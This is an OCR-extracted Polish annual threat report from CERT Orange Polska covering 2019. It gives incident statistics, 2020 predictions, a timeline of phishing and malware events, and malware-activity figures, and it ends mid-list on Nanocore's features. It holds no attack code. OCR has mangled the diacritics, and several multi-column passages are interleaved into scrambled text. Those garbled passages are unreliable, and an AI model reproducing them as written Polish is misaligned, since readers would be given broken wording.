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Internet tak bezpieczny, jak tylko sie da

Gdyby spojrzeé¢ na internet 20 lat temu i dzi$ pod
katem cyberbezpieczenstwa, mozna by przewrotnie
powiedzie¢, ze w zasadzie... niewiele sie zmienito.
Zaréwno wtedy, jak i teraz, korzystajgc z sieci nie
zastanawiamy sie nad zagrozeniami, jakie sa z tym
zwigzane. Wtedy zagrozenia praktycznie nie istniaty.
Dzi$ jest ich wiele, ale wciaz rzadko je zauwazamy.
Czasami dlatego, ze przestepcy sg coraz sprytniejsi,
ale czesciej dlatego, ze ryzyku zapobiega dostaw-
ca naszych ustug. To wtasnie jest ,przezroczyste”
bezpieczenstwo. Jako klienci ustug Orange Polska,
nie musicie — ba, nie chcecie! — wiedzie¢, co sie
dzieje po stronie naszego CERT-u. Internet, ktéry
Wam oferujemy, ma by¢ tak bezpieczny,

jak tylko sie da.

Prawie 11,5 miliona zablokowanych prob wejscia
na strony phishingowe, przeszto 2,5 min klientéw
ochronionych przed dziataniem ztosliwego oprogra-
mowania. Te liczby ilustrujg mozolng prace zespotu
CERT Orange Polska. Na co dzieh niewidoczng,
jednak bezposrednio przektadajgca sie na poczucie
bezpieczenstwa naszych klientdw.

Przegladajac kolejne wydania Raportu CERT Orange
Polska wida¢, jak z roku na rok, zmieniaja sie cyberza-
grozenia. Jedne wygasajg, a na ich miejsce pojawiajg sie
lub nasilajg inne. Ubiegty rok uptynat pod znakiem niezwy-
kle groznych kampanii phishingowych z wykorzystaniem
fatszywych bramek ptatnosci on-line. W takiej sytuacji
sukces przestepcy nierzadko dla ofiary oznacza utrate

oszczednosci catego zycial Linki do tego typu stron
coraz czesciej trafiajg do nas za posrednictwem
SMS-6w. Na urzgdzeniu mobilnym tatwiej ulegamy
impulsowi klikniecia w link bez sprawdzenia paska
adresu. Dlatego tak wazna jest dla nas, operatora,
ktéry dba o bezpieczenstwo w swojej sieci, szybkosé
reakcji i btyskawiczne blokowanie groznych stron.

Codzienne analizowanie i blokowanie zagrozen

to wazne, ale nie jedyne zadanie zespotu CERT Orange
Polska. Niezwykle wazne jest ciagte doskonalenie

i dzielenie sie wiedza z innymi. Przewidujgc przyszte
trendy w bezpieczenstwie, petnimy istotng role we
wspétfinansowanym przez Unie Europejska, naukowym
projekcie SIMARGL (Secure Intelligent Methods

for Advanced Recognition of Malware and Stegomal-
ware). Praca w konsorcjum skfadajgcym sie z 14 firm

i jednostek naukowych z siedmiu krajéw to unikalna
okazja do rozwoju i wymiany doswiadczen, dazgca

— jak wszystkie dziatania CERT Orange Polska — do
tego, bysmy wszyscy czuli sie bezpieczniej w naszym
cyfrowym srodowisku. Nie zapominamy rowniez

o edukacji - $wiadomy uzytkownik moze

Prawie

11,9

zablokowanych préb
wejscia na strony
phishingowe
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znacznie zwiekszy¢ swoje bezpieczenstwo w sieci
i unikng¢ wielu zagrozen. Stad nasze dziatania
skierowane do dzieci i mtodziezy, realizowane takze
we wspotpracy z Fundacjg Orange, niezliczone
prezentacje na konferencjach, warsztaty nawet

dla dzieci, mtodziezy, dorostych czy senioréw, publikacje
na stronie www.orange.pl/cert, oraz blogu Orange
Polska, ostrzezenia na Twitterze. No i oczywiscie ustugi
bezpieczenstwa dla indywidualnych klientéw i firm,
pozwalajgce na skorzystanie z przeszto 20-letniego
doswiadczenia naszych ekspertéw od bezpieczen-
stwa w sieci.

A czego nauczyt nas 2019 rok? SprawdZcie sami —
zapraszamy do lektury széstego juz Raportu CERT
Orange Polska.

Jean-Francois Fallacher
Prezes Zarzadu Orange Polska

Przeszio

2,5 o

klientow ochronionych
przed dziataniem
ztosliwego
oprogramowania

Te liczby ilustruja mozolna prace zespotu
CERT Orange Polska. Na co dzien niewidoczna,

jednak bezposrednio przektadajaca sie na
poczucie bezpieczenstwa naszych klientow.




Raport CERT ORANGE POLSKA 2019

Raport CERT ORANGE POLSKA 2019

z punktu widzenia dziatarh operacyjnych, pod katem i technik prowadzacych do osiagniecia okreslonego
osiagnietego celu. W praktyce w analizowanych skutku, gtéwnie zwigzanych z uzyciem ztosliwego
incydentach uzywano zazwyczaj wielu metod oprogramowania.

Incydenty bezpieczenstwa obstuzone przez
CERT Orange Polska

Przedstawiamy rozktad procentowy incydentow bezpieczenstwa obstuzonych
przez nas w sposob nieautomatyczny w roku 2019. Incydenty dotycza
ustugowych sieci internetowych, a analizy dotycza przede wszystkim podziatu

Rozktad procentowy kategorii incydentow obstuzonych przez CERT Orange Polska w 2019 roku

incydentow na kategorie oraz porownan z ubiegtym rokiem. B Gromadzenie informaciji
40,4% [l Dostepnosé zasobow

Informacje o incydentach pochodzity zaréwno putapki sieciowe (honeypot), systemy zarzadzania B Obrazliwe i nielegalne tresci

ze zrédet zewnetrznych, jak i wewnetrznych systeméw informacjg zwiazana z bezpieczeristwem i zdarzeniami L. .

bezpieczenstwa. Zewnetrzne zrédta informacji (SIEM) oraz DNS/IP sinkhole. [ Ztosliwe porogramowanie

to przede wszystkim zgtoszenia od uzytkownikéw, Poufnos¢é i integralnosé informaciji

informacje pochodzgce od organizacji zajmujgcych Stosowana przez nas klasyfikacja obejmuje wszelkie Préby wtaman

sie bezpieczenstwem czy innych jednostek CERT, typy zdarzen zgtaszanych i obstugiwanych przez zespoty [ G e e

natomiast wiasne systemy bezpieczenstwa to m.in. typu CSIRT/CERT. Kategorie oparte sa na typie i skutku 20,9% R

systemy wykrywania i zapobiegania wlamaniom dziataii naruszajgcych bezpieczenstwo zwigzanych 17,8% B Wiamania sieciowe

(IDS/IPS), analizatory przeptywoéw sieciowych (flows) z procesem ataku na system teleinformatyczny i jego

pod katem atakéw DDoS oraz ztosliwych koddw, wykorzystaniem. Podziat taki przydatny jest gtdéwnie

Kategorie obstugiwanych incydentow:

Kategoria incydentu

Opis oraz przyktady zdarzen

Obrazliwe
i nielegalne tresci

Rozpowszechnianie niebezpiecznych i zabronionych prawem tresci (np. rozsytanie
spamu, dystrybucja/udostepnianie materiatéw chronionych prawem

autorskim — piractwo/plagiat, pornografia dziecieca) oraz tresci obrazliwych/grézb
i innych zwigzanych z naruszeniem zasad i regut w sieci internet.

Ztosliwe
oprogramowanie

Infekcje i rozpowszechnianie ztosliwego oprogramowania (np. hostowanie C&C,
ztosliwe oprogramowanie w zatgczniku wiadomosci lub link do skompromitowanego
adresu URL).

Gromadzenie informacji

Podejmowanie dziatarh majgcych na celu uzyskanie informacji o systemie lub sieci,
badz ich uzytkownikach, zmierzajacych do nieautoryzowanego dostepu (np. skano-
wanie portéw, podstuch, inzynieria spoteczna/phishing — w tym rozpowszechnianie
maili phishingowych, hostowanie stron phishingowych).

Préby wtaman

Préby uzyskania nieautoryzowanego dostepu do systemu lub sieci (np. wielokrotne
nieuprawnione logowania, préby naruszenia systemu lub zaktécania funkcjonowania
ustug przez wykorzystywanie podatnosci).

Wiamania sieciowe

Uzyskanie nieautoryzowanego dostepu do systemu lub sieci, tj. wtargniecie,
naruszenie systemu/przetamanie zabezpieczen (np. poprzez wykorzystanie znanych
podatnosci systemu), kompromitacja konta.

Dostepnos$é zasobdow

Blokowanie dostepnosci zasobdw sieciowych (systemu, danych), m.in. poprzez wysytanie
duzej ilosci danych, ktére skutkuje odmowa $wiadczenia ustug (ataki typu DDoS).

Poufnosc i integralno$é
informacji

Naruszenie poufnosci lub integralnosci informacji, najczesciej w efekcie
wczesniejszego przejecia systemu lub przechwycenia danych podczas transmisji
(np. przechwycenie i/lub udostepnienie okreslonego zbioru informaciji, zniszczenie
lub modyfikacja danych w okreslonym zbiorze informacji).

Oszustwa sieciowe

Czerpanie korzysci z nieuprawnionego wykorzystania zasobéw sieciowych (informacji,
systemu) badz ich uzycie niezgodne z przeznaczeniem (np. uzycie nazwy organizacji
bez pozwolenia, uzycie zasobdw organizacji w celach pozastatutowych).

Inne

Zdarzenia, ktore nie mieszcza sie w wymienionych kategoriach.

Rozktad procentowy kategorii incydentéow obstuzonych przez CERT Orange Polska w 2019 roku
i poréwnanie z rokiem 2018
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WSsrod obstuzonych incydentdw najwieksza grupe
stanowity te z klasy gromadzenie informaciji (40,4 proc.).

W poréwnaniu z rokiem 2018 nastgpit znaczny

wzrost - o blisko 19 pp. (21,6 proc. w 2018 r.). Na drugim
miejscu znalazty sie ataki na dostepnos¢ zasobow

(20,9 proc.) - na poziomie zblizonym do ubiegtego roku
(23,0 proc. w 2018 r.). Kolejne miejsce to incydenty z grupy
obrazliwych i nielegalnych tresci (17,8 proc.) — spadek

w stosunku do poprzedniego roku o 8,9 pp., ztosliwe opro-
gramowanie (11,3 proc.) — spadek w stosunku do poprze-
dniego roku o niemal 5 pp., poufno$¢ i integralnos$¢ infor-
maciji (3,3 proc.) — podobnie jak w ubiegtym roku, préby
wiaman (3,1 proc.) - podobnie jak w ubiegtym roku,

oszustwa sieciowe (2,6 proc.) - podobnie jak w ubiegtym
roku. Ponizej 1 proc. zaklasyfikowano wtamania sieciowe.
Inne, nieobjete wspomnianymi kategoriami, stanowity
nieznaczny odsetek obstuzonych incydentow.

Rozktad w czasie wystepowania incydentéw w 2019 .

nie jest regularny. Przede wszystkim mozna zauwazyé
znaczny wzrost liczby obstugiwanych incydentéw w lipcu.
Wzrost ten spowodowany byt zwiekszong liczbg przypad-
kéw kampanii phishingowych i ztosliwego oprogramowania,
zwigzanych z fatszywymi fakturami, podszywajacymi sie
pod rézne firmy (w tym pod Orange).

Rozktad miesieczny incydentéw w 2019 r. z podziatem na kategorie
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Gromadzenie informaciji

Incydenty z kategorii ,,gromadzenie informaciji” stanowity
najliczniejsza grupa obstuzonych w 2019 r. (40,4 proc.
wszystkich). Na grupe tych incydentéw sktadajg sie przede
wszystkim przypadki phishingu oraz skanowania portow.
Tego typu zagrozenia to w wiekszosci przypadkdw istotny
element bardziej zaawansowanych atakéw, majacych

na celu kradziez informaciji czy oszustw finansowych.

Na przestrzeni roku najwiecej przypadkéw w tej kategorii
wystgpito w sierpniu oraz we wrzesniu.

Dostepnos¢ zasobow

Na klase incydentéw ,,dostepnos$¢ zasobow” sktadajg

sie przede wszystkim przypadki atakéw typu Distributed
Denial of Service (DDoS). Incydentéw o takiej charaktery-
styce byto 20,9 proc. w roku 2019, za$ na przestrzeni roku
najwiecej incydentow w tej kategorii obstuzono w styczniu,
a najmniej w grudniu. Incydenty te, podobnie jak ztosliwe
oprogramowanie, moga by¢ szczegdlnym zagrozeniem

i powodowac istotne straty, dlatego poswieciliSmy im
odrebng czesé raportu.

Obrazliwe i nielegalne tresci

Na grupe incydentéw okreslanych jako ,,obrazliwe
i nielegalne tresci” sktadaja sie przede wszystkim
przypadki dotyczace rozsytania spamu. Inne typy
incydentow w tej grupie to m.in. przypadki dotyczace
naruszen praw autorskich (np. piractwo) oraz
rozpowszechniania tresci zabronionych prawem
(np. tresci rasistowskie, pornografia dziecieca czy
wychwalajgce przemoc). Na przestrzeni roku 2019
szczegolne nasilenie incydentéw w tej kategorii
mozna byto zaobserwowac w sierpniu, zas
najmniejsze w lutym.

Ztosliwe oprogramowanie

Na klase incydentéw ,ztosliwe oprogramowanie”
sktadajg sie przede wszystkim przypadki infekcji

(m.in. infekcji ztosliwym oprogramowaniem typu
ransomware, trojan), dystrybucji ztosliwego
oprogramowania (w tym m.in. ztosliwe oprogramowanie
w zataczniku wiadomosci, hostowanie ztosliwych stron
czy hostowania serweréw Command&Control (C&C)
kontrolujgcych zdalnie sie¢ zainfekowanych komputerow.
Incydentdéw o takiej charakterystyce byto 11,3 proc.
wszystkich obstuzonych w roku 2019, za$ najwiecej
przypadkéw w tej kategorii wystapito w lipcu.
Spowodowane byto to zwiekszong liczba kampanii
ztosliwego oprogramowania (ztosliwe oprogramowanie
jako zatgcznik badz link prowadzacy do ztosliwego

URL), zwigzanych z fatszywymi fakturami. W praktyce

w wiekszos$ci analizowanych incydentéw, cyberprzestepcy
zamierzony cel osiagneli przy uzyciu ztosliwego
oprogramowania, dlatego temu zagrozeniu poswiecona
jest odrebna czes$¢ raportu.
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Poufnos¢ i integralnos¢ informaciji

Na te klase sktadajg sie przypadki nieautoryzowanego
dostepu do informacji oraz zmiany lub usuniecia zbioréw
informacji. W 2019 r. odnotowano 3,3 proc. tego typu
przypadkdéw. Niemniej jednak takie incydenty maja duzy
ciezar gatunkowy. W praktyce oznaczajg powazne
problemy zwigzane z wyciekiem informacji lub innymi
konsekwencjami nieautoryzowanego dostepu do nich.
Na przestrzeni roku najwiecej incydentéw w tej kategorii
obstuzono w grudniu, a najmniej w czerwcu.

Préby wiaman

W kategorii ,proby wtaman” ujeto gtéwnie przypadki
usitowania przetamania zabezpieczen przez wykorzystanie
podatnosci systemow, jego komponentdw lub catych sieci
oraz préb logowania do ustug lub systeméw dostepowych
(zgadywania haset), majace na celu uzyskanie dostepu

do systemu czy przejecia nad nim kontroli. Incydentéw

o takiej charakterystyce byto 3,1 proc. w roku 2019, za$
na przestrzeni roku najwiecej incydentéw w tej kategorii
obstuzono w grudniu.

Oszustwa sieciowe

W kategorii ,oszustwa sieciowe” zostaty zawarte gtdéwnie
przypadki nieautoryzowanego uzycia zasobéw

i nielegalnego uzywania nazwy innego podmiotu bez jego
zezwolenia. Przypadki te stanowity 2,6 proc. wszystkich
incydentéw, najwiecej przypadkéw w tej kategorii na
przestrzeni roku wystgpito w styczniu oraz czerwcu.
Przypadki te dotyczyly gtéwnie atakéw podszywania sie
pod znane marki i instytucje w kampaniach ztosliwego
oprogramowania oraz phishingowych.

Wtamania sieciowe

Na te klase incydentéw skfadaja sie typy incydentéw
tozsame z klasg ,proby wtaman” jednak zakoriczone
pozytywnym efektem z punktu widzenia atakujacego.
Incydentdéw o takiej charakterystyce byto 0,6 proc. w roku
2019, zas na przestrzeni roku najwiecej incydentéw w tej
kategorii obstuzono w maju.

Inne

Incydenty niesklasyfikowane w poprzednich kategoriach
stanowity nieznaczny odsetek wszystkich przypadkow.
Nie mozna okresli¢ zadnego dominujgcego rodzaju wsrod
tych incydentéw.
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Trendy,
czyli co czeka nas w roku 20207?

Czes$¢ naszych ubiegtorocznych prognoz na m  Rosngca popularnos$¢ smishingu sprawi = : = R g s s : -
zamkniecie roku 2019 okazato sie trafnych. ze SMS-y z podstawionymi nadpisami : ; S
Przewidywania dotyczace stopniowej elitaryzaciji stang sie obok malspamu najbardziej popularnym
ransomware jako narzedzia wykorzystywanego wektorem ataku na uzytkownikéw indywidualnych.
w atakach kierunkowych byty stuszne. Podobnie
jak stopniowy choé powolny rozwdj zagrozen Wykorzystanie atrybucji do identyfikacji grup
powigzanych ze steganografig, technikami , fileless” odpowiedzialnych za ataki stanie sie coraz
czy sprytnym wykorzystaniem malvertismentu trudniejsze. Metoda pozostawiania fatszywych
do dystrybucji ztosliwego oprogramowania. flag stanie sie powszechng technikg stosowang : \
zaréwno w aspekcie socjopolitycznym, jak ; : — i —
Inne, jak choéby spadek aktywnosci koparek i w celu anonimizacji rzeczywistego sprawcy. : 5
kryptowalut czy gtosny powrdt atakdw
z wykorzystaniem wiperdéw nie sprawdzity sie Dalszy cigg anonimizaciji sieci (VPN-y
do konca. w przegladarkach, rozpowszechnienie DNS
over HTTPS) przyczyni sie do wzrostu atakéw
Mimo to nie przestaniemy prébowac przewidywac typu Man In The Middle (podstuch i modyfikacja
najbardziej prawdopodobnych scenariuszy atakow przy wiadomosci przesytanych pomiedzy dwiema
nieustajgcej identyfikacji nowych ryzyk i potencjalnych stronami bez ich wiedzy).
podatnosci.
Procesy automatyzacyjne i rozwdj sztucznej

Co zatem stac sie moze w roku inteligenciji w technologiach cyberbezpieczenstwa

. ” zostang coraz szerzej adaptowane przez grupy
rozpoczynajacym nowa dekade - przestepcze do wykonywania i przeprowadzania

. L atakéw na urzadzenia koricowe.
B Zagraniczne sukcesy sprawia, ze przestepcy

masowo i w Polsce zaczng atakowacé firmy
ransomware, grozac ujawnieniem danych
w przypadku niezaptacenia okupu.

Powyzsza lista z pewnoscig nie wyczerpuje
tematu, a z samymi przewidywaniami tak bywa,
ze do kazdego zadanego pytania utozy¢ mozna
dwa nastepne. Jaki wiec bedzie rok 20207

Nastgpi widoczny wzrost atakdw, wykorzystujgcych Przekonamy sie wkrétce.

luki w protokole RDP.

Wykorzystanie techniki deepfake, o ktérej
pisaliSmy juz w zesztorocznym raporcie do
przeprowadzania oszustw i wytudzen na masowa
skale. Moga tez pojawic¢ sie préby uzycia
spreparowanych filméw i plikow dZzwiekowych

do kierunkowych atakéw socjotechnicznych
na przedsiebiorstwa.
Bezpieczenstwo konteneréw zostanie wystawione

na probe przez wzrost identyfikowanych
i wykorzystywanych podatnosci w ich obrazach.

Rosnaca popularnosé smishingu sprawi,

Debiut sieci 5G zwiekszy liczbe atakéw

przeprowadzanych na urzadzenia brzegowe ie SMS'y Z pOdStaWionymi nadpisami

w rozproszonej architekturze Edge Computingu.

S stana sie obok malspamu najbardziej
otwartl bankowdal stand i oo popularnym wektorem ataku na
stakow eyberprzestepoou: uzytkownikow indywidualnych.

Aplikacje webowe w chmurze bedg coraz
czesciej wykorzystywane jako wektor atakéw
phishingowych i dystrybuciji ztosliwego
oprogramowania.
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Przeglad najwazniejszych wydarzen i zagrozen
w Polsce i na swiecie w roku 2019

Wykrycie w sieci skimmera

W sieci pojawit sie skimmer dystrybu-
owany na stronach e-commerce przez jedng

z zagranicznych sieci reklamowych.
Skimmer zbierat w przegladarce dane
logowania i wysytat je na zdalne serwery.

Podatnos¢ w elektrycznych
hulajnogach Xiaomi

W wyniku badan zidentyfikowano powaznag
podatnos¢ w hulajnogach Xiaomi,
wykorzystujgcych komunikacje Bluetooth
do zarzadzania pojazdem. Ustalono,

ze proces uwierzytelniania nie dziata
prawidtowo i przez to mozliwe jest
korzystanie ze wszystkich funkcji

hulajnogi bez potrzeby logowania.

Milion laptopow ASUS zainfekowanych
ztosliwym oprogramowaniem

W marcu Kaspersky opublikowat informacje
o zainfekowaniu ztosliwym oprogramo-
waniem okoto miliona uzytkownikéw sprzetu
Asus. Jak sie okazato, wraz z pobraniem
nowej aktualizacji laptopéw dostarczonej
przez producenta, uzytkownicy instalowali
ja wraz ze ztosliwym kodem.

Microsoft ofiara cyberprzestepcow

W wyniku przeprowadzonej kampa-
nii phishingowej na firme Microsoft,
cyberprzestepcom udato sie pozyskac
poswiadczenia do kont.
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‘ Swiat

Swiat

CyberTarcza

Polska

CyberTarcza

‘ Swiat

CyberTarcza

CyberTarcza

Iranscy hakerzy podejrzani
o DNS hijacking

Firma FireEye ujawnita globalng kampanie
prowadzong przez irafnskich hakerow,
ktorych zadaniem byto przekierowanie ruchu
z firm na catym $wiecie za posrednictwem
swoich serwerdw. Rejestrowali przy tym
poswiadczenia firm na wypadek
planowanych przysztych atakéw.

Ztosliwe zataczniki

CyberTarcza wykryta nowa kampanie
phishingowag podszywajaca sie pod
Orange. W zatgczniku klienci sieci
otrzymywali ztosliwy plik VBS udajacy
fakture.

SMS-owe kampanie phishingowe
na doptate

Seria kampanii SMS o tresci naktaniajacej
do zaptaty kwoty kilkuztotowej np.

z powodu rzekomego zadtuzenia twojego
abonamentu telefonicznego, bo twoj
numer zostanie zablokowany czy z powodu
rzekomej zalegtosci twojego ogtoszenia,
aby pozostato aktywne. Aby optacié
kierowani byli§my do fatszywej strony
pfatnosci elektronicznej. Ujawnienie
danych autoryzacyjnych narazato nas

na utrate pieniedzy z naszego konta.

Phishing na klientow Lidla i Biedronki

Kampania phishingowa na polskie sieci
handlowe: pod pretekstem atrakcyjnych
nagrod przestepcy wykradali dane
osobowe uzytkownikéw i naciagali ich
na wysokoptatne subskrypcje SMS-owe.

Phishing SMS na doptate pod

przykrywka wypisania z ustugi
SMS Premium

Przestepcy rozsyfali fatszywe SMS-y

o tresci dotyczacej rzekomego zapisu

na wysoko ptatny serwis SMS

z mozliwoscia rezygnaciji z subskrypciji
ptacac zaledwie ztotéwke. Aby optacic¢
kierowani byliSmy do fatszywej strony
ptatnosci elektronicznej. Ujawnienie danych
autoryzacyjnych narazato nas na utrate
pieniedzy z naszego konta.

WhatsApp zhakowany
przez Pegasusa

Malware Pegasus przejat kontrole

nad urzadzeniami okoto 1400
uzytkownikow Whatsapp z catego $wiata.
Oprogramowanie wykorzystato luke

w obstudze potgczen wideo. Umozliwito
to zainfekowanie smartfona

ztosliwym oprogramowaniem

i rozpoczecie inwigilaciji.

Ataki na uzytkownikéw Orange Multibox

Kampania phishingowa
na uzytkownikéw Orange Multibox

narazajgca ich na kradziez danych
logowania do serwisu.

Swiat

CyberTarcza

Swiat

CyberTarcza

CyberTarcza

Swiat

Swiat

CyberTarcza

4

4

4

Wyciek danych z Facebooka

Dane aplikacji Facebooka gromadzone
przez inne firmy zewnetrzne wyciekly.
Wsrdd 540 miliondw rekordéw znajdowaty
sie komentarze, polubienia, reakcje,
nazwy kont, identyfikatory i inne dane.

Canva.com - ogromny wyciek danych

139 min uzytkownikéw ucierpiato w wyniku
wyptyniecia danych z popularnego serwisu
przeznaczonego do tworzenia grafik.
Cyberprzestepcom udato sie zdoby¢ dane
takie jak nazwa uzytkownikéw, nazwiska,
adresy e-mail, hasta oraz informacje o kraju
pochodzenia.

Szkodliwe reklamy

Duza kampania atakujgca szkodliwymi
reklamami. Klienci Orange mogli zobaczy¢
banery reklamowe podszywajace sie pod
operatora (rozpoznawanie na podstawie

przynaleznosci adresu IP), zachecajgce do
udziatu w atrakcyjnych quizach. Udziat
narazat uzytkownikéw na kradziez danych
osobowych i subskrypcji wysokoptatnych
serwiséw SMS-owych.

Atak na urzadzenia loT

Ztosliwe oprogramowanie Silex ma

na celu niszczenie pamieci urzadzenia loT,
usuniecie konfiguraciji sieci, ztamanie
zapory sieciowej, a w rezultacie
zatrzymanie dziatania urzadzenia.
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Phishing na klientow Orange

Kampania phishingowa na faktury Orange,
dystrybuujaca droppera brushloader, ktory
pobierat trojana DanaBot. Kampania
dynamicznie modyfikowana przez
atakujgcych (nowe wzory e-maili, nowe
serwery C&C). Kampania byta skierowana
przeciwko jednemu z operatoréw
telekomunikacyjnych. Wymuszata
zgtoszenie koniecznosci aktualizaciji
oprogramowania na komputerach

oraz zdalng instalacje malware’u.

Uzytkownicy Fortnite zainfekowani
ransomwarem Syrk

Gracze w Fortnite zostali narazeni na
zainstalowanie ztosliwego programu,
podszywajacego sie pod pakiet modyfikaciji.
Celem ataku byto zaszyfrowanie plikow
uzytkownika i zagdanie zaptacenia okupu

w zamian za odzyskanie danych.

Kampania e-mailowa na Orange Flex

W mailach wyswietlane byty prawdziwe
materiaty Orange, jednak linki z maili
przekierowywaty do stron kradnacych
dane osobowe i dane kart ptatniczych.
Wykorzystywano réwniez dane z geolo-
kalizacji oraz rozpoznawanie przegladarek
uzytkownikéw. Kampania kierowana

byta réwniez do firm i uzywata popularnych
firmowych adreséw mailowych (typu
customer service, info, support, office).
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Luka w zabezpieczeniach kart Visa

W wyniku przeprowadzonych badan
bezpieczenstwa wykazano luke w zabezpiecze-
niach kart Visa. Dzieki manipulowaniu danymi
wymienianymi podczas ptatnosci mozliwa jest
ptatnos¢ zblizeniowa przekraczajgca okreslony
limit pieniezny.

Kampania na klientow Idea Bank

Klienci banku narazeni byli na telefon od
przestepcy nakfaniajgcego do podania
jednorazowych kodéw SMS. Wykorzystywali
do tego przechwycone numery infolinii
bankowej, ponadto znali réwniez dane
logowania do bankowosci elektronicznej
klientéw, do ktérych dzwonili. Wynikiem
tych dziatan byto definiowanie na kontach
ofiar zaufanego odbiorcy, a w rezultacie
kradziezy pieniedzy.

Polacy wygrywaja turniej hakerski
grupy Orange

Zawody zgromadzity pasjonatéw cyberbez-
pieczenstwa z catego Swiata, pracujgcych

na co dzien pod szyldem Orange. Odbyty

sie w trzech miejscach: Rennes, Paryzu

i Warszawie. Pogrupowane wg réznych kate-
gorii, np. sie¢ czy aplikacje webowe zadania,
polegaty na odnalezieniu ukrytych w nich
flag. Mozna je byto zdoby¢ odnajdujac btedy
w aplikacjach, wykorzystujgc podatnosci

lub przetamujgc zabezpieczenia. Rozwigzanie
jednego zadania odblokowywato kolejne.

Ransomware atakujacy systemy Linux

Tysigce serwerdw internetowych zostato
zainfekowanych, a ich pliki zostaty zaszyfro-
wane przez nowa odmiane oprogramowania
ransomware o nazwie Lilocked. Wedtug
badan ransomware atakuje wytgcznie
systemy oparte na systemach Linux.

Kradziez na ,,BLIKA”

Uzytkownicy mogli korzystac¢ z fatszywych
stron internetowych z sensacyjnymi wiado-
mosciami, ktére podszywaty sie pod takie
witryny jak ,naTemat”, ,,Gazeta Polska”, ,,Fakt”
czy ,Newsweek”. W rezultacie strony te
przekierowywaty na podstawiong strone
Facebooka, ktére prowadzita do przejecia
danych logowania i wytudzania kodéw BLIK.

»Faktury” ukryte na Google Drive

Kampania z fatszywymi fakturami ukrywanymi
jako link do rzekomej faktury na chmurowym
dysku Google. Przestepcy wydawali sie
liczy¢ na trzy rzeczy: wzbudzenie zaufania

u ofiar, oszukanie niektérych systeméw
bezpieczenstwa oraz brak mozliwosci
zablokowania takiej strony przez operatora.

Pazdziernik

Polska

CyberTarcza

Swiat

Listopad

Polska

Polska

Polska

CyberTarcza

CyberTarcza

Luki bezpieczenstwa w urzadzeniach
Alexa i Home

Hakerzy mogli wykorzystywaé
inteligentnych asystentéw Amazon

i Google do podstuchiwania konwersacji
uzytkownikéw bez ich wiedzy.

Kampania phishingowa - wygrates
iPhone

Znaczna liczba kampanii zachecajagcych
do udziatu w konkursach typu ,,Wygrates
iPhone’a”. Przestepcy podszywajg sie
pod operatorow telekomunikacyjnych
(rozpoznawanie IP) i zachecajg

do dzielenia sie danymi osobowymi

i danymi kart ptatniczych.
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Aktywnosc¢ ztosliwego oprogramowania w sieci

Orange Polska

Z roku na rok ogdlna swiadomos¢ spoteczenstwa zwigzana

z zagrozeniami spotykanymi w internecie rosnie. Coraz wieksza czes¢
uzytkownikéw spotyka sie z prébami oszustw i wyludzen, a mass media
przestaty traktowac cyberataki jako temat tabu. Wiele przedsiebiorstw
organizuje swoim pracownikom szkolenia z cyberbezpieczenstwa

lub odnajduje w swoich budzetach srodki na produkty bezpieczenstwa,
ustugi lub wykwalifikowany personel. Czy wystarczajace? Absolutnie
nie. Swiat nie stoi w miejscu, a dynamiczny rozwéj nowych technologii

i pogon za przetomowymi funkcjonalnosciami zdaje sie nieustannie
wyprzedzac proby ich zabezpieczenia.

W roku 2019 CERT Orange Polska zidentyfikowat blisko
5 milionéw zdarzen zwigzanych ze ztosdliwym oprogramo-
waniem czyli ponad 1,1 miliona wiecej niz w roku 2018.

Tak jak w latach ubiegtych dane zostaty zgromadzone

z sond bezpieczenstwa analizujgcych sie¢ kliencka.
Sondy monitorujgce umieszczono w reprezentatywnych
segmentach sieci szerokopasmowej stacjonarnej

i mobilnej. Powyzsze dane sa uzupetione informacjami
zebranymi w procesie threat huntingu oraz wzbogacone
wynikami pracy wykonanej przez analitykow i ekspertéw
w Orange Polska.

Wektory infekcji ztosliwym
oprogramowaniem w roku 2019

= 60%
= 26%
= 14%

@ Malspam
B Infekcje przegladarkowe
@ Inne
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CERT Orange Polska zidentyfikowane zagrozenia zwigzane
bezposrednio lub posrednio z aktywnoscig ztosliwego
oprogramowania dzieli na trzy grupy:

m Malware object: dostarczenie do stacji koncowe;j
ztosliwego oprogramowania np. poprzez zatacznik
z wykonywalnym skryptem.

B Web infection: infekcje z wykorzystaniem podatnosci
przegladarki za pomoca Exploit Kitow, a takze wszelkie
fatszywe strony naktaniajace uzytkownika do pobrania
i wykonania ztosliwego kodu pod pretekstem aktuali-
zacji/naprawy swojego oprogramowania.

B Malware callback: potwierdzenie skutecznego urucho-
mienia ztosliwego kodu poprzez zestawienie komunikagcji
sieciowej z serwerem zdalnego zarzgdzania (w celu
pobrania dodatkowego kodu, badz przekazania
wykradzionych informaciji).

Malware Callback

2 408 906

Malware Object

267 664

Web Infection

251 421

1. kwartat 2019

Poczatek roku nie przynidst zadnych niespodziewanych
zmian w poréwnaniu z rokiem poprzednim. Malspam
pozostat czotowym wektorem dystrybucji ztosliwego
oprogramowania, a najczesciej dostarczanym tg metoda
oprogramowaniem byt Emotet, co bedzie stanowito
trend na przestrzeni catego roku za wyjatkiem
wakacyjnej przerwy.

Klasyfikowany niegdys jako Trojan bankowy, Emotet,

na przestrzeni ostatnich lat, przeksztatcit sie w wielo-
funkcyjny modutowy Botnet zdolny do rozsyfania

spamu, wykradania danych czy pobierania dodatkowego
ztosliwego oprogramowania na urzgdzenia korfcowe.

Poczatek roku 2019 to zmiana na pozycji lidera
malware’6éw bankowych. Najpopularniejszy w koricéwce
roku 2018 Zeus Panda, dostarczany m.in przez Emoteta
wiasnie, zostat zastagpiony wyjatkowo popularnym

w Polsce Danabotem. Liczne kampanie spear-phishingowe,
wypuszczane przez odpowiedzialng za Danabota grupe
przestepcza, podszywaly sie miedzy innymi pod opera-
toréw telekoméw w tym T-Mobile czy Orange Polska.
Co do Zeusa Pandy, jego aktywno$¢ spadta niemalze
do zera i nie stanowit on powszechnego zagrozenia

na stacjach uzytkownikéw sieci Orange Polska.

Najczesciej wystepujace
zdarzenia w 1Q 2019 roku’
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Z szeroko pojetej rodziny backdooréw do TOP 10

dostat sie Nanocore — RAT stworzony w srodowisku

.NET, dystrybuowany przez kampanie malspamowe,

a w kontekscie funkcjonalnosci jeden z najbardziej rozbu-
dowanych narzedzi tego typu. Nanocore posiada dodatki
umozliwiajace kompletna, zdalng inwigilacje zainfekowa-
nego sprzetu poczawszy od monitorowania dziatajgcych
proceséw, potgczen wychodzacych i przychodzacych
przez monitoring audio i video, a na rejestracji stow wpisy-
wanych na klawiaturze konczac. W dodatku narzedzie

to sprzedawane jako ustuga moze byé wyposazony

w szeroka liste pluginéw:

Funkcjonalnosci narzedzia Nanocore

« Core Plugin
